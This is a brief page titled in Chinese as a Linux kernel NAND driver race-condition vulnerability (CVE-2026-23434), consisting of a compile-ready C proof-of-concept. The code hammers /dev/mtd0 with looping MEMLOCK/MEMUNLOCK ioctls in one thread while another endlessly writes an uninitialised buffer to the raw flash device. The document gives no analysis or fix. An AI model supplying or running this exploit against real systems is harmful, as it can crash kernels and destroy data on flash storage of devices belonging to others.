CVE-2026-23434 Linux内核NAND驱动竞态条件漏洞

/* * PoC for CVE-2026-23434: Race condition in NAND lock/unlock * This PoC attempts to trigger the race by spawning threads that * constantly lock/unlock the MTD device while another thread performs IO. * Compile: gcc -o poc_nand_race poc_nand_race.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/mtd/mtd.h> #include <unistd.h> #include <pthread.h> #define MTD_DEVICE "/dev/mtd0" void* lock_unlock_thread(void* arg) { int fd = open(MTD_DEVICE, O_RDWR); struct erase_info_user ei; struct mtd_oob_buf oob; int i; if (fd < 0) { perror("open mtd"); return NULL; } while (1) { // Attempt to lock/unlock to race with background ops // MEMLOCK and MEMUNLOCK ioctls trigger the vulnerable path ioctl(fd, MEMLOCK, &ei); ioctl(fd, MEMUNLOCK, &ei); } close(fd); return NULL; } void* io_thread(void* arg) { int fd = open(MTD_DEVICE, O_RDWR); char buf[4096]; if (fd < 0) return NULL; while (1) { // Trigger UBI/UBIFS background operations (write/erase) write(fd, buf, sizeof(buf)); } close(fd); return NULL; } int main() { pthread_t t1, t2; printf("Starting PoC for CVE-2026-23434...\n"); pthread_create(&t1, NULL, lock_unlock_thread, NULL); pthread_create(&t2, NULL, io_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }